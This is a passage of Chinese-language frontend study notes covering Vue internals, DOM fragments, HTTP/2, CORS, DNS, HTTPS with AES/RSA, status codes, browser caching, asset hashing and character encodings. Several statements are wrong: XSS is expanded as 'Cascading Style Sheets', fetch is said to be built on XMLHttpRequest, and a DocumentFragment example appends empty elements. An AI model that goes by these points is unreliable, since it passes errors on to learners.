_resolve = resolve
})
}
}
diff算法原理
虚拟dom对应的就是真实dom,使用document.createElement
和document.createTextNode
创建的就是真实节点。
我们可以做个试验。打印出一个空元素的第一层属性,可以看到标准让元素实现的东西太多了。如果每次都重新生成新的元素,对性能是巨大的浪费。
var mydiv = document.createElement('div');
for(var k in mydiv ){
console.log(k)
}
虚拟dom可以理解为简单的对象去代替复杂的对象,virtual dom很多时候都不是最优的操作,但它具有普适性,在效率、可维护性之间达平衡。
vitrual dom另一个重大意义就是提供一个中间层,js去写UI,安卓或ios之类的负责渲染,就像rn一样
vue的diff算法来源于snabbdom
,复杂度为O(n),这点和react一样。diff的过程就是调用patch函数,就像打补丁一样修改真实的dom
参考:https://juejin.im/post/5affd01551882542c83301da
在浏览器里还可以直接先生成代码片段,等代码片段都生成完了,在插入页面:
var fragment = document.createDocumentFragment()
var myUl = document.createElement('ul')
for(let i = 0; i<10;i++){
let myLi = document.createElement('li')
myLi.innerText = 'test li'
myUl.appendChild(document.createElement('li'))
}
element.appendChild(fragment.appendChild(myUl))
// 如下命令会创建一个新的空白的文档片段( DocumentFragment)。
document.createDocumentFragment();
// DocumentFragments 是DOM节点,但它们不是主DOM树的一部分
// 因为文档片段存在于内存中(其实这文档就存在于内容中,不用再特殊操作内存什么的了),并不在DOM树中,所以将子元素插入到文档片段时不会引起页面回流(对元素位置和几何上的计算)。
// 因此,使用文档片段通常会带来更好的性能。
// 还可以根据当前元素,插入一个新的元素,而且插入的位置也是围绕调用这个方法的元素
// 参数一就是要插入的位置,参数二就是待插入的元素
element.insertAdjacentElement(position, element);
// postion有四个值
// 'beforebegin': 在该元素本身的前面.
// 'afterbegin':只在该元素当中, 在该元素第一个子孩子前面.
// 'beforeend':只在该元素当中, 在该元素最后一个子孩子后面.
// 'afterend': 在该元素本身的后面.
vue-lazyload原理
参考:vue-lazeload原理
- vue-lazyload是通过指令的方式实现的,定义的指令是v-lazy指令
- 指令被bind时会创建一个listener,并将其添加到listener queue里面, 并且搜索target dom节点,为其注册dom事件(如scroll事件)
- 上面的dom事件回调中,会遍历 listener queue里的listener,判断此listener绑定的dom是否处于页面中perload的位置,如果处于则加载异步加载当前图片的资源
- 同时listener会在当前图片加载的过程的loading,loaded,error三种状态触发当前dom渲染的函数,分别渲染三种状态下dom的内容
vue组件初始化原理
比如首先来看vue-router的使用步骤:
// 1 引入vue-router
import VueRouter from 'vue-router'
// 2 利用vue的插件机制,加载vue-router
Vue.use(VueRouter)
// 3 实例化VueRouter
const router = new VueRouter({ routes })
// 4 实例化Vue
const app = new Vue({ router }).$mount('#app')
Vue的插件机制,先来看看源码:
Vue.use = function (plugin: Function | Object) {
const installedPlugins = (this._installedPlugins || (this._installedPlugins = []));
if (installedPlugins.indexOf(plugin) > -1) {
return this;
}
// additional parameters
const args = toArray(arguments, 1);
args.unshift(this);
if (typeof plugin.install === 'function') {
plugin.install.apply(plugin, args);
} else if (typeof plugin === 'function') {
plugin.apply(null, args);
}
installedPlugins.push(plugin);
return this;
}
该方法首先检查插件是否已经加载,如果已经加载,直接返回 this。
如果没有加载过,会取所有的参数,并将 this 放在第一个。优先执行 plugin.install 方法,若不能执行,则直接执行 plugin 自身。
最后将 plugin push 到插件列表中。
既然插件有install方法,那这个install方法做了什么呢? 实际上vue-router对外export了一个VueRouter的类,这个类上包含了router的各种方法,比如install。install函数里又调用Vue的方法注册mixins,components,生命周期等。。。因此这个插件里的各种方法才可以直接使用。。。
注意:其实vue的各种插件也可以理解为组件,比如上面的vue-router是专注于路由管理的组件,axios是专注于http请求模块的。
vue-router原理
我们都知道Ajax可以实现页面的无刷新操作,但是,也会造成无法前进后退。。。到了h5之后,当执行ajax操作的时候,可以向浏览器history中塞入一个地址(如:pushState,无刷新),返回的时候通过url或其他传参,就可以回到ajax之前模样,也就解决了刷新和后退的问题了。。。
本质上就是监听URL的变化,然后匹配路由规则,显示相应的页面,并且无需刷新。。。单页应用一般使用hash
,history
模式,非浏览器环境还有abstract
模式
路由变更到视图变更的过程:
- hashchange
- match route
- set vm_route
-
render() - render matched component
网络模型及协议相关
网络模型
- 实体层传输0和1;
- 链路层通过mac地址广播传输数据帧(标头和数据);
- 网络层,路由器(DHCP)分发ip,配置子网掩码,ARP根据ip(域名解析)反解析mac地址;
- 传输层根据端口确定是哪个具体应用程序接收数据,udp和tcp为数据传输保驾护航,tcp三次握手四次挥手(效率低);
- 应用层规定传输的数据的具体格式,如html,邮件等
http1.1:默认持久连接,但有队头阻塞问题(可同时发送多个,但响应则是挨个响应,若是第一个慢则会阻塞后面的);
http2而不是http2.0,因为标准委员会不打算发布子版本,下一个版本直接就是http3
http2特性:请求头和体都是二进制;头信息压缩;多工(服务端也可发送请求)且没队头阻塞;数据流,有标识且可设置优先级,还可关闭某个请求而不是整个tcp连接;
什么是多路复用:我们知道http1.x中,我们可以并行请求的,但是浏览器对于一个域名的并行请求是有上限的(chrome,firefox上限是6个),因此如果一个静态资源站,如果想并行下载很多资源,则会有瓶颈。。。而http2在一个tcp连接内可以发送n个http请求,通过提高并发,从而减少tcp连接的开销。
如何开启http2:具体不太清楚,但我想着http2请求浏览器是支持的,因此只要服务端配置了,nginx提供了两种方法,第一种是升级操作系统,第二种是从源码编译新版本的nginx
http库
最开始要实现异步加载数据但不重载页面,需要使用原生XMLHttpRequest (XHR)
对象,但兼容性和易用性方面都不理想,因此出现ajax(异步js和xml)对其进行了初步的封装(注意ajax是一项技术),后来又有了jequry对ajax进行了封装,使得兼容性和易用性更加完善。fetch是基于XMLHttpRequest (XHR)直接修改的,对现代的 Promise,generator/yield,async/await
友好。
Axios
是一个基于XMLHttpRequest
而构建的现代JavaScript库,除了支持es6还原生支持promise,还有以下突出特点:
- 拦截请求和响应。
- 使用promise转换请求和响应数据。
- 自动转换JSON数据至对象。
JSON.parse( '{"result":true, "count":42}') => {result: true, count: 42}
- 取消实时请求。(这个请求在network里看不到cancel标识,如果用XMLHttpRequest直接取消则可以看到)
- 支持浏览器及node。(可通过判断有无XMLHttpRequest和process进程来区分是浏览器还是node环境)
另外还有SuperAgent和Request等http库。参考
插曲:X-Requested-With
前面了解了ajax及各种http库,其实底层都是基于XMLHttpRequest,可以统一理解为异步ajax请求,但还有一种请求是同步请求,比如网页同步请求的js,css,图片文件等,这些请求就是基于http或https协议等来传输文件,也就可以理解为传统的http请求。
X-Requested-With:XMLHttpRequest;
作为一个非标准的标识,多数情况下,主要用来在区分请求是传统请求还是异步ajax请求。
跨域
参考:九种跨域方式实现原理(掘金)
同源策略/sop(Same origin policy)是一种约定,由网景公司1995年引入浏览器,它是浏览器最核心也最基本的安全功能,如果缺少同源策略,浏览器容易受到XSS(Cascading Style Sheets),CSRF(Cross-Site Request Forgery)等攻击。所谓同源是指协议+域名+端口三者相同,即便两个不同的域名指向同一个ip地址,也非同源。
关于域名需要注意:
- .com、.cn、.org等为顶级域名(或一级域名)
- 子域名将顶级域名再细分,因此所有的二级,三级等都是子域名
- www.zh.wikipedia.org中,wikipedia是二级域名,zh是三级域名,www是四级
- 顶级域名上层还有一个根域 . (全球13台,但也扩展了很多辅助的),默认不显示而已
注意:有一种观念是将顶级与一级域名分开,因此zh.wikipedia.org
中的wikipedia
就是一级域名,但尚无定论,知道就好。
同源策略限制一下几种行为:
- Cookie、LocalStorage 和 IndexDB 无法读取
- DOM 和 Js对象无法获得
- AJAX 请求异常
注意以下几点:
- 如果是协议和端口造成的跨域问题“前台”是无能为力的。
- 在跨域问题上,仅仅是通过“URL的首部”来识别而不会根据域名对应的IP地址是否相同来判断。“URL的首部”可以理解为“协议, 域名和端口必须匹配”。
- 跨域并不是请求发不出去,请求能发出去,服务器能收到请求并正常响应,只是结果被浏览器拦截了。
你可能会疑问明明通过表单的方式可以发起跨域请求,为什么 Ajax 就不会?因为归根结底,跨域是为了阻止用户读取到另一个域名下的内容,Ajax 可以获取响应,浏览器认为这不安全,所以拦截了响应。但是表单并不会获取新的内容,所以可以发起跨域请求。同时也说明了跨域并不能完全阻止 CSRF,因为请求毕竟是发出去了。
解决方案:
- Jsonp(客户端声明一个函数,服务端将数据传入函数并返回到前端执行,仅GET)
- CORS(cross origin resource share,服务端设置Access-Control-Allow-Origin:*/白名单)
- postMessage(应用在iframe之间场合比较多)
- websocket(是全双工通信,同时可解决跨域)
- Node中间件代理
- Nginx反向代理(翻墙是正向(隐藏客户端),反向是隐藏服务端)
- window.name + iframe(name属性不同页面加载后依旧存在)
- location.hash + iframe
- document.domain + iframe(只适用于二级域名相同情况)
总结
- CORS(需服务端配置)支持所有类型的http请求,是跨域http请求的根本解决方案
- Jsonp只支持GET请求,Jsonp的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据
- 不管是node中间件还是nginx反向代理,主要是通过同源策略对服务器不加限制的原因
Socket:
参考:什么是socket
我们深谙信息交流的价值,那网络中进程之间如何通信?如每天浏览器浏览网页时,浏览器的进程怎么与web服务器通信?。。。
本地进程间通信(IPC)有很多种方式,如下:
- 消息传递(管道、FIFO、消息队列)
- 同步(互斥量、条件变量、读写锁、文件和写记录锁、信号量)
- 共享内存(匿名的和具名的)
- 远程过程调用(Solaris门和Sun RPC)
在本地我们可以通过PID来标识唯一的进程,但在网络中则行不通。。。但TCP/IP协议族已经帮我们解决了,ip地址唯一标识网络中的主机,协议+端口则可以锁定主机中的应用程序。因此利用ip地址、协议、端口便可以标识网络中的进程,而网络中进程间的通信则利用这个标识与其他进程进行交互。
使用TCP/IP协议的应用程序通常采用应用编程接口:UNIX BSD的套接字(socket)和UNIX System V的TLI(已经被淘汰),来实现网络进程之间的通信。就目前而言,几乎所有的应用程序都是采用socket,而现在又是网络时代,网络中进程通信是无处不在,因此也可以说:一切皆socket。
既然网络中的进程是通过socket来通信的,那什么是socket呢?socket起源于Unix,而Unix/Linux基本哲学之一就是“一切皆文件”,都可以用“打开open –> 读写write/read –> 关闭close”
模式来操作。因此socket是该模式的一个实现方式,socket即是一种特殊的文件,一些socket函数就是对其进行的操作,
再看下图,就可以发现其实socket是应用层与TCP/IP协议族通信的中间软件抽象层
。在设计模式中,socket其实就是一个门面模式,它把复杂的TCP/IP协议族隐藏在socket接口后面,对用户来说,一组简单的接口就是全部,让socket去组织数据,以符合指定的协议。
其实,人们为计算机通信设计了若干接口,其中三个接口是通用的:
- 套接字接口(socket interface)
- 传输层接口(transport layer interface)
- STREAM
套接字接口位于操作系统与应用层之间,如果应用程序想接入TCP/IP协议族提供的服务,就必须使用套接字接口中定义的指令,即socket编程:
WebSocket:一种在单个tcp连接上进行的全双工通讯的协议
感觉webscoket和http2在双向通信方面很像,其实websocket只是基于http1.1建立的一个tcp长连接,进而可以双向传输二进制数据等。但http2只是对HTML、CSS等JS资源的传输方式进行了优化,并没有提供新的JS API,也不能用于实时传输消息。如果需要实时传输消息,现在还是需要SSE,WebSocket等
原生WebSocket API使用起来不太方便,我们使用Socket.io,它很好地封装了webSocket接口,提供了更简单、灵活的接口,也对不支持webSocket的浏览器提供了向下兼容。
DNS
域名解析有递归和迭代,递归是本地dns服务器去查询,最后将结果返回给浏览器端。而迭代则是浏览器端主动去根,域服务器查询ip与域名的对应关系。
浏览器里也有dns缓存,chrome://net-internals/#dns
即可查看,但好像只有清除
mac下hosts文件 cat /etc/hosts
/是根目录,~是用户家目录,因为一个系统下可以有多个用户
NAT(Network Address Translation 网络地址转换)
UPnP(Universal Plug and Play 通用即插即用)
常用的dns服务器地址:
- 223.5.5.5 阿里
- 114.114.114.114 电信
- 119.29.29.29 腾讯
- 1.2.4.8 国家某机构
- 8.8.8.8 谷歌
数据加密和https
https无非是身披ssl的http,而ssl加密是发生在应用层与传输层之间,而抓包工具截获的是http传输的数据,也就是应用层的数据,因此通过安装证书可以看到明文信息。https通信保证了客户端到服务端的通信过程是安全的,但如果客户端本地有恶意软件,则无法阻止攻击。
银行系统一般还需要手机令牌,这些手机令牌是用来输入密码用的,也就是说,如果用系统的键盘输入密码,客户端的恶意软件可能拦截到密码,因此银行系统将输入密码的设备独立,这样就能阻止客户端上的恶意软件了。
综上:
- 若只为保证客户端到服务端之间的通信安全,https就足够
- 若想在客户端也不让用户看到明文,则需要配合另外aes和rsa加密
AES对称加密
- 甲方选择某一种加密规则,对信息进行加密
- 乙方使用同一种规则,对信息进行解密 由于加密和解密使用同样规则(即密钥),因此如何传递密钥便是问题
let CryptoJS = require( "crypto-js" );
let AES = CryptoJS.AES;
enCryptoJS: function ( text ) {
return AES.encrypt( text, key , {
iv: iv ,
mode: CryptoJS.mode.CBC, //CBC,CFB,CTR,OFB,ECB
padding: CryptoJS.pad.Iso10126 //Iso10126,Iso97971,ZeroPadding,NoPadding,AnsiX923,Pkcs7
} ).toString()
},
RSA非对称加密
- 乙方生成两把秘钥(公钥和私钥),公钥是公开的,任何人都可以获得,私钥是保密的
- 甲方获取乙方的公钥,然后用它对信息加密
- 乙方得到加密后的信息,用私钥解密
加密和解密可以使用不同的规则,只要这两种规则之间存在某种对应关系即可,这样就避免了直接传递密钥。
Native与服务端加密通信过程:
- 原生端有RSA的私钥和公钥,服务端有RSA的公钥和AES的密钥
- 服务端用RSA的公钥对AES的密钥进行加密,然后传输给原生端
- 原生端用RSA的私钥对来自服务端的加密串解析,得到AES的密钥
- 用这个AES的密钥加密,再通过bridge给h5端。(对于h5端需要与服务端直接交互的,暂时没做处理)
上面安全的前提是,app本身是安全的,若加固被攻克,则安全性全无。。。不过现在借助一些商业软件进行加固已经很难破解了。
如果想再提高安全等级,可以对利用一套算法动态生成客户端的RSA私钥和公钥,即使截获了算法,由于是动态生成,也无法重现之前的密钥。这是动态生成层面,还可以动态存储,也就是通过一定的手段,将存储密钥的内存地址动态变化。。。这样只能尝试进程注入去尝试获取密钥。
为何有些https网站不需要证书:其实大多数认证只是认证颁发机构(比如某个服务的证书颁发机构已经被认可,则后续这个颁发机构签名所有服务名都不需要证书),不用单独安装证书。。。对于双向认证的才需要安装证书
数字签名:私钥做签名,公钥做校验
CDN延时
CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在网络之上的内容分发网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率(比如火车票代售点)。CDN的关键技术主要有内容存储和分发技术。
schema协议
URL Scheme使用场景,目前1,2,5使用场景很广,有没有一种熟悉的感觉?
- 通过小程序,利用Scheme协议打开原生app
- H5页面点击锚点,根据锚点具体跳转路径APP端跳转具体的页面
- APP端收到服务器端下发的PUSH通知栏消息,根据消息的点击跳转路径跳转相关页面
- APP根据URL跳转到另外一个APP指定页面
- 通过短信息中的url打开原生app
互联网数据中心(Internet Data Center)主要为互联网内容提供商(ICP)、企业、媒体和各类网站提供大规模、高质量、安全可靠的专业化服务器托管、空间租用、网络批发带宽以及ASP、EC等业务。
CNAME:当您拥有多个域名需要指向同一服务器IP,此时您就可以将一个域名做A记录指向服务器IP
数据流模式
http协议传输数据时可以选择Transfer-Encoding: chunked
模式,也就是数据流模式,传输的数据是分块的,而不是一个完整的数据包。对于服务器处理慢的场合尤为适用。
常见端口号
- TCP 21端口:FTP 文件传输服务
- TCP 23端口:TELNET 终端仿真服务
- TCP 25端口:SMTP 简单邮件传输服务
- UDP 53端口:DNS 域名解析服务
- TCP 80端口:HTTP 超文本传输服务
- TCP 110端口:POP3 “邮局协议版本3”使用的端口
- TCP 443端口:HTTPS 加密的超文本传输服务
http协议状态码
参考:http状态码(mdn)
http响应状态码指示特定http请求是否已成功完成,响应分为五类:信息响应,成功响应,重定向,客户端错误和服务端错误。
- 信息响应
100 // Continue 所有内容有效可继续请求,若请求已完成则忽略
101 // Switching Protocol 该代码是响应客户端的 Upgrade 标头发送的,并且指示服务器也正在切换的协议。
102 // Processing 此代码表示服务器已收到并正在处理请求,但没有响应可用
- 成功响应
200 // Ok 请求成功
204 // No Content服务器已成功处理请求,但不需要返回实体,并且希望返回更新了的元信息
- 重定向
301 // Moved Permanently 被请求的资源已永久移动到新位置(应该返回新的地址) 302 // Found 请求的资源临时从不同的 URI 响应请求 304 // Not Modified ,一般是针对get或put请求?
- 客户端响应
400 // Bad Request 语义或请求参数有误,请求无法被服务器理解 401 // Unanthorized 当前请求需要用户验证。 403 // Forbidden 服务器已经接受到请求,但拒绝执行它。服务器可以返回拒绝执行原因 404 // Not Found 请求所希望的资源未在服务器发现 405 // Method Not Allowed 响应返回允许的请求方式 408 // Request Timeout 请求超时,客户端没有在服务端预备等待的时间内完成一个请求的发送
注意:401是说客户端需要认证,比如需要登录。。。而403是客户端认证通过(比如登录成功),但是没有权限
- 服务端响应
500 // Internal Server Error 服务器遇到不知如何处理的情况
501 // Not Implemented 此请求方法不被服务器支持且无法被处理
502 // Bad Gateway 服务器作为网关需要得到一个处理这个请求的响应,但是得到一个错误的响应
503 // Service Unavailable 服务器没有准备好处理请求(比如宕机或服务没起来)
504 // Gateway Timeout 当服务器作为网关,不能及时得到响应时返回此错误代码
505 // HTTP Version Not Supported 服务器不支持请求中使用的http版本
// 503的一个场景:
// 公司的公网域名解析到具体服务实例上,如果实例销毁或将域名与服务解绑,
// 此时若dns解析仍指向实例,就会报503。
// 若是访问一个不存在的域名,则直接回找不到页面。
注意:502状态码可以这样理解,比如当ngnix充当反向代理时,会将http协议的请求转换为其他协议的请求,其他协议请求再给对应语言的进程处理,当处理完响应的内容无法被ngnix理解就会报502 Bad Gateway。而500一般是服务器内部逻辑出错,503是服务器没有起来或者是服务器处理不过来。。。
缓存相关
强制和协商缓存
参考:强制缓存与协商缓存、http缓存控制、浏览器缓存浅析、浏览器的默认策略
浏览器的缓存机制也就是我们常说的http缓存机制,是根据http报文的缓存标识进行。第一次浏览器请求服务器,会根据响应报文中的http头的缓存标识,决定是否缓存结果,是则存储并将标识存入浏览器缓存中。
注意:
- 浏览器每次发送请求,都会先在浏览器缓存中查找该请求的结果以及缓存标识
- 浏览器每次拿到返回的请求结果都会将该结果和缓存标识存入到浏览器缓存中
根据是否向服务器重新发送http请求,将缓存分为强制和协商缓存:
强制缓存:根据缓存标识来决定缓存是否有效,若没有缓存标识和结果则直接请求服务器;若存在但失效则发起协商缓存请求过程;若存在且有效则直接返回;
标识:
在 http1.0 时代,给客户端设定缓存方式可通过两个字段——Pragma和Expires来规范。Pragma是用来禁用缓存的,因此Expires就是用来开启缓存的,如果二者同时存在,则起作用的是Pragma
Expires
是http1.0的产物,值为服务器返回该请求结果缓存的到期时间,绝对时间,若身处不同时区则不准确,因此http1.1出现了Cache-control
,二者同时存在时Cache-control
优先级高,是控制浏览器和其他中间缓存如何缓存各个响应以及缓存多久。有以下几种取值(多个取值可以逗号分隔):
- public 所有内容都将被缓存(客户端和代理服务器都可缓存),即使标识显示不可缓存,也可以缓存
- private 所有内容只有对应的单个用户可以缓存,Cache-Control的默认取值,例如,用户的浏览器可以缓存包含用户私人信息的 HTML 网页,但 CDN 却不能缓存。
- no-cache:客户端缓存内容,但是是否使用缓存则需要经过协商缓存来验证决定,即每次通过标识(如ETag)先与服务器确认缓存是否变化,如果没有变化则可以继续使用。
- no-store:直接禁止浏览器以及所有中间代理缓存任何版本的响应
- max-age=xxx (xxx is numeric):缓存内容将在xxx秒后失效
当二者同时存在Cache-control优先级高。no-cache和no-store的区别是前者会缓存,但每次请求时依然先拿到缓存,只是不做验证,然后请求服务器,服务器来决定是否用缓存。
优先级: Pragma > Cache-control > Expires
内存缓存(内存缓存会将编译解析后的文件,直接存入该进程的内存中,一旦进程关闭则进程的内存就清空)和硬盘缓存
协商缓存: 强制缓存失效后,浏览器携带协商缓存标识向服务器发起请求,由服务器根据缓存标识来决定是否使用缓存的过程。
协商缓存生效,返回304过程:
务必注意:协商缓存是先去请求服务器,判断是否更新,若没有更新则返回304码。然后再去浏览器缓存中拿数据,之所以发送条件请求是因为若条件成功,则可以省略传输响应体的时间,但连接还是需要建立的。如果不想304则可以强制刷新,
同样,协商缓存的标识也是在响应报文的HTTP头中和请求结果一起返回给浏览器的,控制协商缓存的字段分别有:Last-Modified / If-Modified-Since和Etag / If-None-Match,其中Etag / If-None-Match的优先级比Last-Modified / If-Modified-Since高
。
强制缓存优先于协商缓存,若强制缓存生效则直接使用,若不生效则进行协商缓存,协商缓存由服务器确定是否使用。
总的过程如下:
浏览器刷新行为
- 在URI输入栏中输入,然后回车/通过书签访问
- F5(command + R)/点击工具栏中的刷新按钮/右键菜单重新加载
- Ctrl + F5 / command + shift + R
第二种刷新方式:让浏览器无论如何都发送一个http请求给Server,也就是说即使在强制缓存生效的情况下,这次发送的请求头里会有类似Cache-Control: max-age=0
的字样,也就是chrome让强制缓存失效。。。当然如果有协商缓存标识,则依然会带上,因此这种情况可能会返回304状态码。
第三种刷新方式:这种就是强制刷新,不但需要重新发送请求,而且将协商缓存标识全部去掉。。。为了保证从服务器拿到的内容是全新的(防止中间代理服务器缓存),还需要添加一些http headers如Cache-Control: no-cache、Pragma: no-cache
,这样就能从服务端获取到最新的数据。但需要注意,假如这时的服务区并不是中央服务器,而是地区服务器,而地区服务器又没有及时拉取原服务器的文件,此时返给浏览器的仍然是旧文件。还有就是浏览器与地区服务器之间可能存在很多代理,如果代码不认无缓存请求头的话,返回的文件也是旧文件,但这种可能性很小。综上:这里的强制刷新的请求头对于浏览器和cdn服务器应该是没问题的,但不排除中间代理有问题,还有就是地区cdn服务器并没有及时与源服务器同步数据,这时都可能返回旧文件。
还有就是,一般情况下为了避免缓存问题,我们都习惯将文件名拼接上hash值,这样文件不同,肯定就会溯源找最新文件了。还有一种情况,文件名一致只是改变#、?号后面的值,这种情况严格来说文件是一样的,只是参数不同而已。如果这个cdn服务器比较智能,就是可以识别出这种文件是同一个文件,就有很大可能命中缓存。但如果这个cdn服务器比较耿直,严格按照uri来匹配资源,此时获取的反而是最新的文件。
许多放图片的CDN可以通过参数来调整图片,比如: xxx.com/a.png 是原图 xxx.com/a.png?w=1280 是宽度压缩到1280px的图片 xxx.com/a.png?q=90 是90%质量的图片
比如前端在代码里配的地址是:http://xxx.a.pdf
后续文件更新了,如果没有刷新缓存,前端地址也没变,访问的肯定是缓存的旧文件。 除非等到12小时自动更新缓存,或者手动强制刷新。但如果每次都刷新缓存,其实cdn的效果意义就不太大了。。。
所以下次,他们上传文件的时候,要么可以直接修改文件名再上传,比如修改为http://xxx.a.v1.pdf,然后前端再更新,这样最靠谱
还有就是配置前端的地址,改为http://xxx.a.pdf?124504524 这种时间撮模式,但这样也同样失去了cdn的意义,因为时间戳每次都变,所以每次都会去源服务器拉取最新的。另外一个缺点:不是很靠谱(因为有的智能cdn不会根据?后面的值进行对比)
Service Worker、Memory Cache、Disk Cache 和 Push Cache
,那请求的时候 from memory cache 和 from disk cache 的依据是什么?
- 如果开启了Service Worker首先会从Service Worker中拿
- 如果新开一个以前打开过的页面缓存会从Disk Cache中拿(前提是命中强缓存)
- 刷新当前页面时浏览器会根据当前运行环境内存来决定是从 Memory Cache 还是 从Disk Cache中拿
关键字搜索发生了什么
获得网站网页资料,能够建立数据库并提供查询的系统,分为两个基本类别:全文搜索引擎(FullText Search Engine)和分类目录Directory)
全文搜索引擎的数据库是依靠一个叫“网络机器人(Spider)”或叫“网络蜘蛛(crawlers)”的软件,通过网络上的各种链接自动获取大量网页信息内容,并按以定的规则分析整理形成的。Google、百度都是比较典型的全文搜索引擎系统。
分类目录则是通过人工的方式收集整理网站资料形成数据库的,比如雅虎中国以及国内的搜狐、新浪、网易分类目录。另外,在网上的一些导航站点,也可以归属为原始的分类目录,比如“网址之家”。
全文搜索引擎和分类目录在使用上各有长短。全文搜索引擎因为依靠软件进行,所以数据库的容量非常庞大,但是,它的查询结果往往不够准确;分类目录依靠人工收集和整理网站,能够提供更为准确的查询结果,但收集的内容却非常有限。
全文搜索引擎的“网络机器人”或“网络蜘蛛”是一种网络上的软件,它遍历Web空间,能够扫描一定IP地址范围内的网站,并沿着网络上的链接从一个网页到另一个网页,从一个网站到另一个网站采集网页资料。它为保证采集的资料最新,还会回访已抓取过的网页。
网络机器人或网络蜘蛛采集的网页,还要有其它程序进行分析,根据一定的相关度算法进行大量的计算建立网页索引,才能添加到索引数据库中。我们平时看到的全文搜索引擎,实际上只是一个搜索引擎系统的检索界面,当你输入关键词进行查询时,搜索引擎会从庞大的数据库中找到符合该关键词的所有相关网页的索引,并按一定的排名规则呈现给我们。不同的搜索引擎,网页索引数据库不同,排名规则也不尽相同
原理可以分为三步:
-
从互联网上抓取网页 利用能够从互联网上自动收集网页的Spider系统程序,自动访问互联网,并沿着任何网页中的所有URL爬到其它网页,重复这过程,并把爬过的所有网页收集回来。
-
建立索引数据库 由分析索引系统程序对收集回来的网页进行分析,提取相关网页信息(包括网页所在URL、编码类型、页面内容包含的关键词、关键词位置、生成时间、大小、与其它网页的链接关系等),根据一定的相关度算法进行大量复杂计算,得到每一个网页针对页面内容中及超链中每一个关键词的相关度(或重要性),然后用这些相关信息建立网页索引数据库。
-
在索引数据库中搜索排序 当用户输入关键词搜索后,由搜索系统程序从网页索引数据库中找到符合该关键词的所有相关网页。因为所有相关网页针对该关键词的相关度早已算好,所以只需按照现成的相关度数值排序,相关度越高,排名越靠前。 最后,由页面生成系统将搜索结果的链接地址和页面内容摘要等内容组织起来返回给用户。
版本控制相关
前端所谓的版本控制,一般说的是前端资源(比如css,js,img等)的版本控制和代码的版本控制系统(git,svn等);
前端资源版本管理
前端资源的版本控制主要是解决缓存问题的。。。例如:文件内容修改了,但名字没有改,浏览器不强制刷新则访问的则很可能是缓存里的内容。如果每次修改都给文件添加一个版本号,势必繁琐(为了统一版本,每次修改一个文件都需要将其他所有文件的版本号更新)。既然版本号不易控制,若根据文件内容生成hash值,将版本号改为hash值,会稍微好一些。但对于大型应用,资源文件一般部署在cdn上,主文件部署在服务器上,那二者谁先发布呢?如下
<link rel="stylesheet" href="a.css?v=e0279"></link>
<script src="a.js?v=abb35"></script>
- 先发资源文件,之前的资源文件被覆盖,在主文件发布成功之前,没有缓存或强制刷新的用户,会导致页面错乱
- 先发主文件,在资源文件发布成功之前,用户访问到得资源文件都是旧的
因为上面文件的url只是query不同,因此相当于同一个文件,所以是覆盖式。。。如果将文件名改了,则就不存在覆盖的问题了,这样新版和旧版资源文件就同时存在,于是代码变成如下:
<link rel="stylesheet" href="a.e0279.css"></link>
<script src="a.e0279.js"></script>
此时先发布资源文件,成功后再发布主文件就没有问题了。
而如何生成这个hash就是构建的工作了,主要有hash、chunkhash、contenthash
三种:
- hash与整个项目构建相关,一个文件改变则所有文件都变
- chunkhash是根据入口文件进行解析、构建对应的chunk的,生成对应的hash值
- contenthash是针对文件内容级别,只有文件内容改变才会改变
之所以出现contenthash,是因为chunkhash有个问题,比如a文件修改了,则与其关联(如引用)的相关文件的hash值也会改变,也就失去缓存的目的了,如下:
代码版本管理
代码版本管理主要分集中式(svn)和分布式(git),那二者什么区别呢?
集中式:版本库是集中存放在中央服务器的,干活的时候先联网拉下代码,然后修改,改完再推送到服务器。没有网络无法工作,好比图书馆,不开馆没法借书。主要问题就是严重依赖网络
分布式:不需要联网没有中央服务器,每人电脑上的都是一个完整的版本库。不联网时如何多人协作,其实网络说的是外网,局域网还是需要的,相互之间的修改就可以通过局域网相互之间推送。。。其实即使分布式,我们也很少相互之间推送代码,而是将代码推送到一台充当“中央服务器”的地方,这里的“中央服务器”只是方便大家相互之间交流而已,以防止同事请假,电脑故障等情况。。。
从上面看感觉分布式比集中式的优势就是不需要联网,其实作为分布式的代表git,在分支管理上远胜于svn!!!
编码相关
编码其实就是一种数据格式转换为另外一种格式的过程。
ASCII码计算机最终识别的是二进制数据格式,一个字节八位,也就是256种状态,每种状态可以用一个字符表示。而美国制定的英文字符与二进制数的映射就是ASCII码,一直用到现在。
在ASCII中,用7个二进制位表示一个打印或不可打印的字符,共表示128个字符,其中95个可打印或显示的字符,其他的则为不可打印或显示的字符。所谓不可打印是指那些禁止在报纸,电视或其他媒体上出现的符号,这些符号被用来表示一些特定的功能,如回车,换行,制表符等。。。比如空格SPACE是32(二进制00100000),大写的字母A是65(二进制01000001)。这128个符号,只占用了一个字节的后面7位,最前面的一位统一规定为0。
英文字符7位就可以表示完全,但对于汉语而言就远远不够了,汉字大概就是10万+,两个字节才表示65535种,因此汉语还有四字节表示一个字。也就是中国的国标GB
但世界各国的编码都不一样,有么有一种方式可以统一呢,这就是unicode码,虽然unicode码解决了是否统一的问题,但数据在网络上传输时是需要占带宽的,因此如何合理存储这些编码就尤为重要,因为一个英文字符用unicode来表示势必占更多内存。。。因此就出现了utf-8,是unicode编码的实现方式之一。对于部分编码,存储时还涉及Little endian 和Big endian-
问题,也就是字节存储的先后顺序问题。
base64编码Base64是一种基于64个可打印字符来表示二进制数据的表示方法。由于2的6次方等于64,所以每6个二进制位为一个单元,对应某个可打印字符。三个字节有24个二进制位(比特位),对应于4个Base64单元,即3个字节对应的符号可以用4个可打印字符表示。之所以诞生,因为早期http协议等都只能传输ascii格式,但有些数据(比如图片)转化为二进制后,超过了ascii表示的范围。
1. URI编码方法
Global 对象的encodeURI()和encodeURIComponent()
方法可以对URI
(Uniform Resource Identifiers
,通用资源标识符)进行编码,以便发送给浏览器。有效的 URI 中不能包含某些字符,例如空格。而这两个 URI 编码方法就可以对 URI 进行编码,它们用特殊的 UTF8 编码替换所有无效的字符,从而让浏览器能够接受和理解。
// encodeURI()一般对整个uri进行编码,
encodeURI(";,/?:@&=+$-_.!~*'()#"); // ";,/?:@&=+$-_.!~*'()#",几乎常用的都没有被编码
encodeURI(" "); // "%20",空格被编码了
decodeURI("%20"); // " "
// encodeURIComponent()只对一段,一般是编码location.origin后面的部分
encodeURIComponent("().!~*'-_"); // "().!~*'-_"
